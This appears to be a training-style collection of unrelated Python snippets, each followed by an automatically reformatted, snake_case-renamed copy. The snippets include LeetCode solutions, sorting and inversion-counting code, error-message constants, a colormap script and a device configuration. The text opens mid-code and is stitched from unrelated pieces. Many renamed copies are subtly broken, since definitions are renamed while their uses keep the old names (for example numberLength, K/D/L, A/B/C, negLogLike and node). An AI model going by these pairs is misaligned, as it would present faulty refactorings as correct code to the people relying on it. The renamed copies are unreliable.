values[i] * 255 # alpha txt += f"{int32:010d}, " if i % 8 == 7: txt += "\n" with open(f"../analyzed2/argo.csv", 'w') as f: f.write(txt) print(txt)
my_screenshot = '\n 0 4 264 267 527 530 789 66328\n 66588 66591 66849 132388 132647 132650 132908 198447\n 198706 198708 264503 264505 330299 330557 330560 396354\n 396612 462150 462408 527946 528204 593998 594000 659794\n 660052 725590 791383 791641 857435 857437 923230 989024\n 989026 1054819 1120613 1120870 1186408 1252201 1252459 1318252\n 1384046 1384047 1449841 1515634 1515892 1581429 1647222 1713016\n 1713273 1779066 1844860 1910397 1976190 1976447 2042241 2108034\n 2173827 2239364 2239621 2305415 2371208 2437001 2502794 2568587\n 2568844 2634381 2700174 2765968 2831761 2897554 2963347 3029140\n 3029397 3095190 3160983 3226520 3292313 3358106 3423899 3489692\n 3555485 3621278 3687071 3752864 3818656 3884449 3950242 4016035\n 4081828 4147621 4147878 4213671 4279464 4345256 4411049 4476842\n 4542635 4608428 4739757 4805550 4871342 4937135 5002928 5068721\n 5134514 5200306 5266099 5331892 5397685 5463477 5529270 5595063\n 5660856 5726648 5792441 5858234 5924027 5989819 6121148 6186941\n 6252734 6318526 6384319 6450112 6515904 6581953 6647746 6779074\n 6844867 6910660 6976452 7042245 7108038 7173830 7239623 7370952\n 7436744 7502793 7568586 7634378 7700171 7765964 7897292 7963085\n 8028877 8094670 8160719 8226511 8357840 8423632 8489425 8555218\n 8621010 8752339 8818387 8884180 8949973 9015765 9147094 9212886\n 9278679 9344727 9410520 9541849 9607641 9673434 9739226 9870555\n 9936603 10002396 10068188 10133981 10265309 10331102 10397150 10462943\n 10594272 10660064 10725857 10791905 10923234 10989026 11054819 11120611\n 11251940 11317988 11383781 11515109 11580902 11646694 11712743 11844071\n 11909864 11975656 12106985 12173033 12238826 12304618 12435947 12501995\n 12567787 12699116 12764908 12830701 12962285 13028078 13093870 13159663\n 13291247 13357040 13422832 13554161 13619953 13686001 13817330 13883122\n 13948915 14080499 14146292 14212084 14343412 14409461 14475253 14606582\n 14672374 14738423 14869751 14935543 15066872 15132920 15198713 15330041\n 15396090 15461882 15593210 15659003 15725051 15856380 15922172 16053500\n 16119549 16185341 16316670 16382718 16448510 16579839 16645631 16777215\n' web_screenshot = '\n 0 4 264 267 527 530 789 66328\n 66588 66591 66849 132388 132647 132650 132908 198447\n 198706 198708 264503 264505 330299 330557 330560 396354\n 396612 462150 462408 527946 528204 593998 594000 659794\n 660052 725590 791383 791641 857435 857437 923230 989024\n 989026 1054819 1120613 1120870 1186408 1252201 1252459 1318252\n 1384046 1384047 1449841 1515634 1515892 1581429 1647222 1713016\n 1713273 1779066 1844860 1910397 1976190 1976447 2042241 2108034\n 2173827 2239364 2239621 2305415 2371208 2437001 2502794 2568587\n 2568844 2634381 2700174 2765968 2831761 2897554 2963347 3029140\n 3029397 3095190 3160983 3226520 3292313 3358106 3423899 3489692\n 3555485 3621278 3687071 3752864 3818656 3884449 3950242 4016035\n 4081828 4147621 4147878 4213671 4279464 4345256 4411049 4476842\n 4542635 4608428 4739757 4805550 4871342 4937135 5002928 5068721\n 5134514 5200306 5266099 5331892 5397685 5463477 5529270 5595063\n 5660856 5726648 5792441 5858234 5924027 5989819 6121148 6186941\n 6252734 6318526 6384319 6450112 6515904 6581953 6647746 6779074\n 6844867 6910660 6976452 7042245 7108038 7173830 7239623 7370952\n 7436744 7502793 7568586 7634378 7700171 7765964 7897292 7963085\n 8028877 8094670 8160719 8226511 8357840 8423632 8489425 8555218\n 8621010 8752339 8818387 8884180 8949973 9015765 9147094 9212886\n 9278679 9344727 9410520 9541849 9607641 9673434 9739226 9870555\n 9936603 10002396 10068188 10133981 10265309 10331102 10397150 10462943\n 10594272 10660064 10725857 10791905 10923234 10989026 11054819 11120611\n 11251940 11317988 11383781 11515109 11580902 11646694 11712743 11844071\n 11909864 11975656 12106985 12173033 12238826 12304618 12435947 12501995\n 12567787 12699116 12764908 12830701 12962285 13028078 13093870 13159663\n 13291247 13357040 13422832 13554161 13619953 13686001 13817330 13883122\n 13948915 14080499 14146292 14212084 14343412 14409461 14475253 14606582\n 14672374 14738423 14869751 14935543 15066872 15132920 15198713 15330041\n 15396090 15461882 15593210 15659003 15725051 15856380 15922172 16053500\n 16119549 16185341 16316670 16382718 16448510 16579839 16645631 16777215\n' if __name__ == '__main__': values = [x.strip() for x in myScreenshot.replace(',', ' ').split(' ')] values = [int(x) for x in values if len(x)] assert len(values) == 256 txt = f'# colormap argo\n' for i in range(256): int32 = values[i] * 255 txt += f'{int32:010d}, ' if i % 8 == 7: txt += '\n' with open(f'../analyzed2/argo.csv', 'w') as f: f.write(txt) print(txt)
#!/usr/bin/env python3 inversions = 0 def count_inversions(input): _ = merge_sort(input) return inversions def merge_sort(input): if len(input) <= 1: return input mid = len(input) // 2 left = input[:mid] right = input[mid:] left = merge_sort(left) right = merge_sort(right) return merge(left, right) def merge(left, right): global inversions result = [] len_left, len_right = len(left), len(right) left_idx, right_idx = 0, 0 while left_idx < len_left and right_idx < len_right: if left[left_idx] <= right[right_idx]: result.append(left[left_idx]) left_idx += 1 else: result.append(right[right_idx]) right_idx += 1 inversions += len(left[left_idx:]) if left_idx < len_left: result.extend(left[left_idx:]) elif right_idx < len_right: result.extend(right[right_idx:]) return result
inversions = 0 def count_inversions(input): _ = merge_sort(input) return inversions def merge_sort(input): if len(input) <= 1: return input mid = len(input) // 2 left = input[:mid] right = input[mid:] left = merge_sort(left) right = merge_sort(right) return merge(left, right) def merge(left, right): global inversions result = [] (len_left, len_right) = (len(left), len(right)) (left_idx, right_idx) = (0, 0) while left_idx < len_left and right_idx < len_right: if left[left_idx] <= right[right_idx]: result.append(left[left_idx]) left_idx += 1 else: result.append(right[right_idx]) right_idx += 1 inversions += len(left[left_idx:]) if left_idx < len_left: result.extend(left[left_idx:]) elif right_idx < len_right: result.extend(right[right_idx:]) return result
test = { 'name': 'q3a', 'points': 1, 'suites': [ { 'cases': [ { 'code': '>>> diabetes_2d.shape\n' '(442, 2)', 'hidden': False, 'locked': False}, { 'code': '>>> -0.10 < ' 'np.sum(diabetes_2d[0]) < 0\n' 'True', 'hidden': False, 'locked': False}, { 'code': '>>> np.isclose(0, ' 'np.sum(diabetes_2d))\n' 'True', 'hidden': False, 'locked': False}], 'scored': True, 'setup': '', 'teardown': '', 'type': 'doctest'}]}
test = {'name': 'q3a', 'points': 1, 'suites': [{'cases': [{'code': '>>> diabetes_2d.shape\n(442, 2)', 'hidden': False, 'locked': False}, {'code': '>>> -0.10 < np.sum(diabetes_2d[0]) < 0\nTrue', 'hidden': False, 'locked': False}, {'code': '>>> np.isclose(0, np.sum(diabetes_2d))\nTrue', 'hidden': False, 'locked': False}], 'scored': True, 'setup': '', 'teardown': '', 'type': 'doctest'}]}
def binary_diagnostic(input): numberLength = (len(input[0])) gammaRate = '' for col in range(numberLength): ones = 0 for line in input: if line[col] == '1': ones += 1 else: ones -= 1 gammaRate += '1' if ones >= 0 else '0' gammaRate = int(gammaRate, 2) epsilonRate = ~gammaRate & (2 ** numberLength) - 1 return gammaRate * epsilonRate with open('input.txt') as f: print(binary_diagnostic(f.read().split()))
def binary_diagnostic(input): number_length = len(input[0]) gamma_rate = '' for col in range(numberLength): ones = 0 for line in input: if line[col] == '1': ones += 1 else: ones -= 1 gamma_rate += '1' if ones >= 0 else '0' gamma_rate = int(gammaRate, 2) epsilon_rate = ~gammaRate & 2 ** numberLength - 1 return gammaRate * epsilonRate with open('input.txt') as f: print(binary_diagnostic(f.read().split()))
def test(func, verbose=True): """ Tests a sort function by comparing it to Python's builtin 'Timsort.' """ tests = [ [5, 7, 1, 9, 89, 15, 14, 2], [False, True, False, True, False, True, True, True, False, False], ['z', 'x', 'u', 'i', 'o', 'z', 'r', 'a', 'b'], ['grape', 'orange', 'apple', 'zebra'], [1.0, 1.1, 0.8, 0.01, -0.0001, 0.05, 0.9, 9.8, -10.2, 1.3, 4.5, -2.2] ] for testlist in tests: if verbose: print("Unsorted: ", testlist) testsort = func(testlist) if verbose: print("Sorted: ", testsort, "\n") stdsort = testlist.copy() stdsort.sort() assert stdsort == testsort, \ "Sorted list " + str(testsort) + \ " was not sorted correctly by " + func.__name__ print(func.__name__, "passed all tests") def swap(x, i, j): """ Swaps the position of elements i and j in list x """ if i == j: pass else: temp = x[j] # Store element j for later use x[j] = x[i] x[i] = temp
def test(func, verbose=True): """ Tests a sort function by comparing it to Python's builtin 'Timsort.' """ tests = [[5, 7, 1, 9, 89, 15, 14, 2], [False, True, False, True, False, True, True, True, False, False], ['z', 'x', 'u', 'i', 'o', 'z', 'r', 'a', 'b'], ['grape', 'orange', 'apple', 'zebra'], [1.0, 1.1, 0.8, 0.01, -0.0001, 0.05, 0.9, 9.8, -10.2, 1.3, 4.5, -2.2]] for testlist in tests: if verbose: print('Unsorted: ', testlist) testsort = func(testlist) if verbose: print('Sorted: ', testsort, '\n') stdsort = testlist.copy() stdsort.sort() assert stdsort == testsort, 'Sorted list ' + str(testsort) + ' was not sorted correctly by ' + func.__name__ print(func.__name__, 'passed all tests') def swap(x, i, j): """ Swaps the position of elements i and j in list x """ if i == j: pass else: temp = x[j] x[j] = x[i] x[i] = temp
def maxmin(A): if len(A) == 1: return A[0], A[0] elif len(A) == 2: return max(A[0], A[1]), min(A[0], A[1]) maxl, minl = maxmin(A[:int(len(A) / 2)]) maxr, minr = maxmin(A[int(len(A) / 2):]) return max(maxl, maxr), min(minl, minr) class Solution: # @param A : list of integers # @return an integer def solve(self, A): return sum(maxmin(A)) # Explanation of complexity: # T(n) denotes the number of comparisons for input of size number # T(0) = 0, T(1) = 0, T(2) = 1 # Base equation # T(n) = 2T(n / 2) + 2 # Derived equation # T(n) = 2^kT(n / 2^k) + 2^k+1 - 2 # Since T(2) = 1, # n / 2^k = 2 => k = log(n) - 1 where base(log) = 2 # Replacing the value of k in the derived equation above: # T(n) = 3n / 2 - 2
def maxmin(A): if len(A) == 1: return (A[0], A[0]) elif len(A) == 2: return (max(A[0], A[1]), min(A[0], A[1])) (maxl, minl) = maxmin(A[:int(len(A) / 2)]) (maxr, minr) = maxmin(A[int(len(A) / 2):]) return (max(maxl, maxr), min(minl, minr)) class Solution: def solve(self, A): return sum(maxmin(A))
#!/usr/bin/env python class DocumentProperty(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually.""" def __init__(self): """ Attributes: swaggerTypes (dict): The key is attribute name and the value is attribute type. attributeMap (dict): The key is attribute name and the value is json key in definition. """ self.swaggerTypes = { 'Name': 'str', 'Value': 'str', 'BuiltIn': 'bool', 'SelfUri': 'ResourceUri', 'AlternateLinks': 'list[ResourceUri]', 'Links': 'list[ResourceUri]' } self.attributeMap = { 'Name': 'Name','Value': 'Value','BuiltIn': 'BuiltIn','SelfUri': 'SelfUri','AlternateLinks': 'AlternateLinks','Links': 'Links'} self.Name = None # str self.Value = None # str self.BuiltIn = None # bool self.SelfUri = None # ResourceUri self.AlternateLinks = None # list[ResourceUri] self.Links = None # list[ResourceUri]
class Documentproperty(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually.""" def __init__(self): """ Attributes: swaggerTypes (dict): The key is attribute name and the value is attribute type. attributeMap (dict): The key is attribute name and the value is json key in definition. """ self.swaggerTypes = {'Name': 'str', 'Value': 'str', 'BuiltIn': 'bool', 'SelfUri': 'ResourceUri', 'AlternateLinks': 'list[ResourceUri]', 'Links': 'list[ResourceUri]'} self.attributeMap = {'Name': 'Name', 'Value': 'Value', 'BuiltIn': 'BuiltIn', 'SelfUri': 'SelfUri', 'AlternateLinks': 'AlternateLinks', 'Links': 'Links'} self.Name = None self.Value = None self.BuiltIn = None self.SelfUri = None self.AlternateLinks = None self.Links = None
class StartTimeVariables: @classmethod def Checklist(cls): cls.INTAG = None return cls
class Starttimevariables: @classmethod def checklist(cls): cls.INTAG = None return cls
class Encoder(): def encode_char(self, char, order): return char def _to_index(self, char): return ord(char) - ord('A') def _to_char(self, index): return chr(index + ord('A'))
class Encoder: def encode_char(self, char, order): return char def _to_index(self, char): return ord(char) - ord('A') def _to_char(self, index): return chr(index + ord('A'))
# ----------------------Cutter Model Error Messages--------------------------- NEG_OVERLAP_LAST_PROP_MESSAGE = \ "the overlap or last segment proportion should not be negative" LARGER_SEG_SIZE_MESSAGE = \ "the segment size should be larger than the overlap size" INVALID_CUTTING_TYPE_MESSAGE = "the cutting type should be letters, lines, " \ "number, words or milestone" EMPTY_MILESTONE_MESSAGE = "the milestone should not be empty" # ---------------------------------------------------------------------------- # ----------------------Similarity Model Error Messages----------------------- NON_NEGATIVE_INDEX_MESSAGE = "the index should be larger than or equal to zero" # ---------------------------------------------------------------------------- # ----------------------Topword Model Error Messages-------------------------- NOT_ENOUGH_CLASSES_MESSAGE = "Only one class given, cannot do Z-test by " \ "class, at least 2 classes needed." # ---------------------------------------------------------------------------- # ----------------------Rolling Window Analyzer Error Messages---------------- WINDOW_SIZE_LARGE_MESSAGE = "The window size must be less than or equal to" \ " the length of the given document" WINDOW_NON_POSITIVE_MESSAGE = "The window size must be a positive integer" # ---------------------------------------------------------------------------- # ----------------------Scrubber Error Messages------------------------------- NOT_ONE_REPLACEMENT_COLON_MESSAGE = "Invalid number of colons or commas." REPLACEMENT_RIGHT_OPERAND_MESSAGE = \ "Too many values on right side of replacement string." REPLACEMENT_NO_LEFT_HAND_MESSAGE = \ "Missing value on the left side of replacement string." # ---------------------------------------------------------------------------- # ======================== General Errors ==================================== SEG_NON_POSITIVE_MESSAGE = "The segment size must be a positive integer." EMPTY_DTM_MESSAGE = "Empty DTM received, please upload files." EMPTY_LIST_MESSAGE = "The list should not be empty." EMPTY_NP_ARRAY_MESSAGE = "The input numpy array should not be empty." # ======================== Base Model Errors ================================= NO_DATA_SENT_ERROR_MESSAGE = 'Front end did not send data to backend'
neg_overlap_last_prop_message = 'the overlap or last segment proportion should not be negative' larger_seg_size_message = 'the segment size should be larger than the overlap size' invalid_cutting_type_message = 'the cutting type should be letters, lines, number, words or milestone' empty_milestone_message = 'the milestone should not be empty' non_negative_index_message = 'the index should be larger than or equal to zero' not_enough_classes_message = 'Only one class given, cannot do Z-test by class, at least 2 classes needed.' window_size_large_message = 'The window size must be less than or equal to the length of the given document' window_non_positive_message = 'The window size must be a positive integer' not_one_replacement_colon_message = 'Invalid number of colons or commas.' replacement_right_operand_message = 'Too many values on right side of replacement string.' replacement_no_left_hand_message = 'Missing value on the left side of replacement string.' seg_non_positive_message = 'The segment size must be a positive integer.' empty_dtm_message = 'Empty DTM received, please upload files.' empty_list_message = 'The list should not be empty.' empty_np_array_message = 'The input numpy array should not be empty.' no_data_sent_error_message = 'Front end did not send data to backend'
base = 40 altura = 47 print('area del cuadrado =', base*altura)
base = 40 altura = 47 print('area del cuadrado =', base * altura)
def main(): K = input() D = int(input()) L = len(K) dp = [[[0, 0] for _ in range(D)] for _ in range(L+1)] mod = 10 ** 9 + 7 dp[0][0][1] = 1 for i in range(L): d = int(K[i]) for j in range(D): for k in range(10): dp[i+1][(j + k) % D][0] += dp[i][j][0] dp[i+1][(j + k) % D][0] %= mod if k < d: dp[i+1][(j + k) % D][0] += dp[i][j][1] dp[i+1][(j + k) % D][0] %= mod elif k == d: dp[i+1][(j + k) % D][1] += dp[i][j][1] dp[i+1][(j + k) % D][1] %= mod print((sum(dp[-1][0]) + mod - 1) % mod) if __name__ == '__main__': main()
def main(): k = input() d = int(input()) l = len(K) dp = [[[0, 0] for _ in range(D)] for _ in range(L + 1)] mod = 10 ** 9 + 7 dp[0][0][1] = 1 for i in range(L): d = int(K[i]) for j in range(D): for k in range(10): dp[i + 1][(j + k) % D][0] += dp[i][j][0] dp[i + 1][(j + k) % D][0] %= mod if k < d: dp[i + 1][(j + k) % D][0] += dp[i][j][1] dp[i + 1][(j + k) % D][0] %= mod elif k == d: dp[i + 1][(j + k) % D][1] += dp[i][j][1] dp[i + 1][(j + k) % D][1] %= mod print((sum(dp[-1][0]) + mod - 1) % mod) if __name__ == '__main__': main()
# Twitter error codes TWITTER_PAGE_DOES_NOT_EXISTS_ERROR = 34 TWITTER_USER_NOT_FOUND_ERROR = 50 TWITTER_TWEET_NOT_FOUND_ERROR = 144 TWITTER_DELETE_OTHER_USER_TWEET = 183 TWITTER_ACCOUNT_SUSPENDED_ERROR = 64 TWITTER_USER_IS_NOT_LIST_MEMBER_SUBSCRIBER = 109 TWITTER_AUTOMATED_REQUEST_ERROR = 226 TWITTER_OVER_CAPACITY_ERROR = 130 TWITTER_DAILY_STATUS_UPDATE_LIMIT_ERROR = 185 TWITTER_CHARACTER_LIMIT_ERROR_1 = 186 TWITTER_CHARACTER_LIMIT_ERROR_2 = 354 TWITTER_STATUS_DUPLICATE_ERROR = 187 # Twitter non-tweet events TWITTER_NON_TWEET_EVENTS = ['access_revoked', 'block', 'unblock', 'favorite', 'unfavorite', 'follow', 'unfollow', 'list_created', 'list_destroyed', 'list_updated', 'list_member_added', 'list_member_removed', 'list_user_subscribed', 'list_user_unsubscribed', 'quoted_tweet', 'user_update']
twitter_page_does_not_exists_error = 34 twitter_user_not_found_error = 50 twitter_tweet_not_found_error = 144 twitter_delete_other_user_tweet = 183 twitter_account_suspended_error = 64 twitter_user_is_not_list_member_subscriber = 109 twitter_automated_request_error = 226 twitter_over_capacity_error = 130 twitter_daily_status_update_limit_error = 185 twitter_character_limit_error_1 = 186 twitter_character_limit_error_2 = 354 twitter_status_duplicate_error = 187 twitter_non_tweet_events = ['access_revoked', 'block', 'unblock', 'favorite', 'unfavorite', 'follow', 'unfollow', 'list_created', 'list_destroyed', 'list_updated', 'list_member_added', 'list_member_removed', 'list_user_subscribed', 'list_user_unsubscribed', 'quoted_tweet', 'user_update']
with open('./inputs/04.txt') as f: passphrases = f.readlines() first = 0 second = 0 are_only_distinct = lambda x: len(x) == len(set(x)) for line in passphrases: words = line.split() first += are_only_distinct(words) anagrams = [''.join(sorted(word)) for word in words] second += are_only_distinct(anagrams) print(first) print(second)
with open('./inputs/04.txt') as f: passphrases = f.readlines() first = 0 second = 0 are_only_distinct = lambda x: len(x) == len(set(x)) for line in passphrases: words = line.split() first += are_only_distinct(words) anagrams = [''.join(sorted(word)) for word in words] second += are_only_distinct(anagrams) print(first) print(second)
# Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right class Solution: def sumNumbers(self, root: TreeNode) -> int: res = [] num = root.val val=0 self.helper(root,val,res) return sum(res) def helper(self,root,val,res): if not root: return if not root.left and not root.right: val=val*10+root.val res.append(val) return if root: val=val*10+root.val self.helper(root.left,val,res) self.helper(root.right,val,res)
class Solution: def sum_numbers(self, root: TreeNode) -> int: res = [] num = root.val val = 0 self.helper(root, val, res) return sum(res) def helper(self, root, val, res): if not root: return if not root.left and (not root.right): val = val * 10 + root.val res.append(val) return if root: val = val * 10 + root.val self.helper(root.left, val, res) self.helper(root.right, val, res)
def cart_prod(*sets): result = [[]] set_list = list(sets) for s in set_list: result = [x+[y] for x in result for y in s] if (len(set_list) > 0): return {tuple(prod) for prod in result} else: return set(tuple()) A = {1} B = {1, 2} C = {1, 2, 3} X = {'a'} Y = {'a', 'b'} Z = {'a', 'b', 'c'} print(cart_prod(A, B, C)) print(cart_prod(X, Y, Z))
def cart_prod(*sets): result = [[]] set_list = list(sets) for s in set_list: result = [x + [y] for x in result for y in s] if len(set_list) > 0: return {tuple(prod) for prod in result} else: return set(tuple()) a = {1} b = {1, 2} c = {1, 2, 3} x = {'a'} y = {'a', 'b'} z = {'a', 'b', 'c'} print(cart_prod(A, B, C)) print(cart_prod(X, Y, Z))
class Solution: def getRow(self, rowIndex): def n_c_r(n, r): numerator = 1 for i in xrange(1, r + 1): numerator *= n - (i - 1) numerator /= i return numerator return [n_c_r(rowIndex, i) for i in xrange(rowIndex + 1)]
class Solution: def get_row(self, rowIndex): def n_c_r(n, r): numerator = 1 for i in xrange(1, r + 1): numerator *= n - (i - 1) numerator /= i return numerator return [n_c_r(rowIndex, i) for i in xrange(rowIndex + 1)]
class Solution: def removeOuterParentheses(self, S: str) -> str: stack = [] is_assemble = False assembler = "" result = "" for p in S: if p == "(": if is_assemble: assembler += p if not stack: is_assemble = True stack.append(p) else: stack.pop() if not stack: result += assembler assembler = "" is_assemble = False if is_assemble: assembler += p return result
class Solution: def remove_outer_parentheses(self, S: str) -> str: stack = [] is_assemble = False assembler = '' result = '' for p in S: if p == '(': if is_assemble: assembler += p if not stack: is_assemble = True stack.append(p) else: stack.pop() if not stack: result += assembler assembler = '' is_assemble = False if is_assemble: assembler += p return result
message = "Hello python world" print(message) message = "Hello python crash course world" print(message)
message = 'Hello python world' print(message) message = 'Hello python crash course world' print(message)
class Solution: def singleNumber(self, nums: List[int]) -> int: d = {} for n in nums: if n in d: d[n] += 1 else: d[n] = 1 for k in d: if d[k] == 1: return k
class Solution: def single_number(self, nums: List[int]) -> int: d = {} for n in nums: if n in d: d[n] += 1 else: d[n] = 1 for k in d: if d[k] == 1: return k
def postorder(tree): if tree != None: postorder(tree.getLeftChild()) postorder(tree.getRightChild()) print(tree.getRootVal())
def postorder(tree): if tree != None: postorder(tree.getLeftChild()) postorder(tree.getRightChild()) print(tree.getRootVal())
# Set random seed np.random.seed(0) # Generate data true_mean = 5 true_standard_dev = 1 n_samples = 1000 x = np.random.normal(true_mean, true_standard_dev, size = (n_samples,)) # We define the function to optimise, the negative log likelihood def negLogLike(theta): """ Function for computing the negative log-likelihood given the observed data and given parameter values stored in theta. Args: theta (ndarray): normal distribution parameters (mean is theta[0], variance is theta[1]) Returns: Calculated negative Log Likelihood value! """ return -sum(np.log(norm.pdf(x, theta[0], theta[1]))) # Define bounds, var has to be positive bnds = ((None, None), (0, None)) # Optimize with scipy! optimal_parameters = sp.optimize.minimize(negLogLike, (2, 2), bounds = bnds) print("The optimal mean estimate is: " + str(optimal_parameters.x[0])) print("The optimal variance estimate is: " + str(optimal_parameters.x[1])) # optimal_parameters contains a lot of information about the optimization, # but we mostly want the mean and variance
np.random.seed(0) true_mean = 5 true_standard_dev = 1 n_samples = 1000 x = np.random.normal(true_mean, true_standard_dev, size=(n_samples,)) def neg_log_like(theta): """ Function for computing the negative log-likelihood given the observed data and given parameter values stored in theta. Args: theta (ndarray): normal distribution parameters (mean is theta[0], variance is theta[1]) Returns: Calculated negative Log Likelihood value! """ return -sum(np.log(norm.pdf(x, theta[0], theta[1]))) bnds = ((None, None), (0, None)) optimal_parameters = sp.optimize.minimize(negLogLike, (2, 2), bounds=bnds) print('The optimal mean estimate is: ' + str(optimal_parameters.x[0])) print('The optimal variance estimate is: ' + str(optimal_parameters.x[1]))
__version__ = "0.8.10" __format_version__ = 3 __format_version_mcool__ = 2 __format_version_scool__ = 1
__version__ = '0.8.10' __format_version__ = 3 __format_version_mcool__ = 2 __format_version_scool__ = 1
class Solution: def maxIncreaseKeepingSkyline(self, grid: List[List[int]]) -> int: row_max = list(map(max, grid)) col_max = list(map(max, zip(*grid))) return sum( min(row_max[i], col_max[j]) - val for i, row in enumerate(grid) for j, val in enumerate(row) )
class Solution: def max_increase_keeping_skyline(self, grid: List[List[int]]) -> int: row_max = list(map(max, grid)) col_max = list(map(max, zip(*grid))) return sum((min(row_max[i], col_max[j]) - val for (i, row) in enumerate(grid) for (j, val) in enumerate(row)))
# hw08_02 for i in range(1, 9+1, 2): print("{:^9}".format("^"*i)) ''' ^ ^^^ ^^^^^ ^^^^^^^ ^^^^^^^^^ '''
for i in range(1, 9 + 1, 2): print('{:^9}'.format('^' * i)) '\n\n ^\n ^^^\n ^^^^^\n ^^^^^^^\n^^^^^^^^^\n\n'
# # @lc app=leetcode id=430 lang=python3 # # [430] Flatten a Multilevel Doubly Linked List # """ # Definition for a Node. class Node: def __init__(self, val, prev, next, child): self.val = val self.prev = prev self.next = next self.child = child """ class Node: def __init__(self, val, prev, next, child): self.val = val self.prev = prev self.next = next self.child = child def __repr__(self): return str(self.val) class Solution: def flatten(self, head: Node) -> Node: dummy = Node(0, None, None, None) res = dummy stack = list() while head: res.next = head res = res.next if head.child: if head.next: stack.append(head.next) head.next = head.child head.child.prev = head head = head.child head.prev.child = None continue if head.next is None: if not stack: head.next = None head.child = None break else: n = stack.pop() head.next = n head.child = None n.prev = head head = n continue head = head.next return dummy.next def create_node(): node_1 = Node(1, None, None, None) node_2 = Node(2, None, None, None) node_3 = Node(3, None, None, None) node_4 = Node(4, None, None, None) node_5 = Node(5, None, None, None) node_6 = Node(6, None, None, None) node_7 = Node(7, None, None, None) node_8 = Node(8, None, None, None) node_9 = Node(9, None, None, None) node_10 = Node(10, None, None, None) node_11 = Node(11, None, None, None) node_12 = Node(12, None, None, None) node_1.next = node_2 node_2.prev = node_1 node_2.next = node_3 node_3.prev = node_2 node_3.next = node_4 node_3.child = node_7 node_4.prev = node_3 node_4.next = node_5 node_5.prev = node_4 node_5.next = node_6 node_6.prev = node_5 node_7.next = node_8 node_8.prev = node_7 node_8.next = node_9 node_8.child = node_11 node_9.prev = node_8 node_9.next = node_10 node_10.prev = node_9 node_11.next = node_12 node_12.prev = node_11 return node_1 if __name__ == '__main__': Solution().flatten(create_node())
""" # Definition for a Node. class Node: def __init__(self, val, prev, next, child): self.val = val self.prev = prev self.next = next self.child = child """ class Node: def __init__(self, val, prev, next, child): self.val = val self.prev = prev self.next = next self.child = child def __repr__(self): return str(self.val) class Solution: def flatten(self, head: Node) -> Node: dummy = node(0, None, None, None) res = dummy stack = list() while head: res.next = head res = res.next if head.child: if head.next: stack.append(head.next) head.next = head.child head.child.prev = head head = head.child head.prev.child = None continue if head.next is None: if not stack: head.next = None head.child = None break else: n = stack.pop() head.next = n head.child = None n.prev = head head = n continue head = head.next return dummy.next def create_node(): node_1 = node(1, None, None, None) node_2 = node(2, None, None, None) node_3 = node(3, None, None, None) node_4 = node(4, None, None, None) node_5 = node(5, None, None, None) node_6 = node(6, None, None, None) node_7 = node(7, None, None, None) node_8 = node(8, None, None, None) node_9 = node(9, None, None, None) node_10 = node(10, None, None, None) node_11 = node(11, None, None, None) node_12 = node(12, None, None, None) node_1.next = node_2 node_2.prev = node_1 node_2.next = node_3 node_3.prev = node_2 node_3.next = node_4 node_3.child = node_7 node_4.prev = node_3 node_4.next = node_5 node_5.prev = node_4 node_5.next = node_6 node_6.prev = node_5 node_7.next = node_8 node_8.prev = node_7 node_8.next = node_9 node_8.child = node_11 node_9.prev = node_8 node_9.next = node_10 node_10.prev = node_9 node_11.next = node_12 node_12.prev = node_11 return node_1 if __name__ == '__main__': solution().flatten(create_node())
# http://www.codewars.com/kata/55c933c115a8c426ac000082/ def eval_object(v): return {"+": v['a'] + v['b'], "-": v['a'] - v['b'], "/": v['a'] / v['b'], "*": v['a'] * v['b'], "%": v['a'] % v['b'], "**": v['a'] ** v['b']}.get(v.get('operation', 1))
def eval_object(v): return {'+': v['a'] + v['b'], '-': v['a'] - v['b'], '/': v['a'] / v['b'], '*': v['a'] * v['b'], '%': v['a'] % v['b'], '**': v['a'] ** v['b']}.get(v.get('operation', 1))
def oddNumbers(l, r): result = [] for i in range(l, r + 1): if i % 2 == 1: result.append(i) return result
def odd_numbers(l, r): result = [] for i in range(l, r + 1): if i % 2 == 1: result.append(i) return result
description = 'Lambda power supplies' group = 'optional' tango_base = 'tango://172.28.77.81:10000/antares/' devices = dict( I_lambda1 = device('nicos.devices.entangle.PowerSupply', description = 'Current 1', tangodevice = tango_base + 'lambda1/current', precision = 0.04, timeout = 10, ), )
description = 'Lambda power supplies' group = 'optional' tango_base = 'tango://172.28.77.81:10000/antares/' devices = dict(I_lambda1=device('nicos.devices.entangle.PowerSupply', description='Current 1', tangodevice=tango_base + 'lambda1/current', precision=0.04, timeout=10))
def solution(): def integers(): num = 1 while True: yield num num += 1 def halves(): for i in integers(): yield i / 2 def take(n, seq): take_list = [] for num in seq: if len(take_list) == n: return take_list take_list.append(num) return take, halves, integers take = solution()[0] halves = solution()[1] print(take(5, halves()))
def solution(): def integers(): num = 1 while True: yield num num += 1 def halves(): for i in integers(): yield (i / 2) def take(n, seq): take_list = [] for num in seq: if len(take_list) == n: return take_list take_list.append(num) return (take, halves, integers) take = solution()[0] halves = solution()[1] print(take(5, halves()))
def longest_consecutive_subsequence(input_list): # TODO: Write longest consecutive subsequence solution input_list.sort() # iterate over the list and store element in a suitable data structure subseq_indexes = {} index = 0 for el in input_list: if index not in subseq_indexes: subseq_indexes[index] = [el] elif subseq_indexes[index][-1] + 1 == el: subseq_indexes[index].append(el) else: index += 1 subseq_indexes[index] = [el] # traverse / go over the data structure in a reasonable order to determine the solution longest_subseq = max(subseq_indexes.values(), key=len) return longest_subseq res = longest_consecutive_subsequence([5, 4, 7, 10, 1, 3, 55, 2, 6]) print(res) # should be [1, 2, 3, 4, 5, 6, 7]
def longest_consecutive_subsequence(input_list): input_list.sort() subseq_indexes = {} index = 0 for el in input_list: if index not in subseq_indexes: subseq_indexes[index] = [el] elif subseq_indexes[index][-1] + 1 == el: subseq_indexes[index].append(el) else: index += 1 subseq_indexes[index] = [el] longest_subseq = max(subseq_indexes.values(), key=len) return longest_subseq res = longest_consecutive_subsequence([5, 4, 7, 10, 1, 3, 55, 2, 6]) print(res)
"""DNA na RNA""" DNA_RNA = { 'G':'C', 'C':'G', 'T':'A', 'A':'U', } def transcribe_rna(dna): rna = '' for i in dna: rna += DNA_RNA[i] return rna def validate_dna(dna): return set(dna).issubset(set('GCTA')) def main(): while True: my_dna = input('Type DNA sequence: ') if not validate_dna(my_dna): answer = input('Invalid DNA sequence, try again (y/n)? ') if answer.lower() != 'y': break continue rna = transcribe_rna(my_dna) print(f'Transcribed RNA: {rna}') if __name__ == '__main__': main()
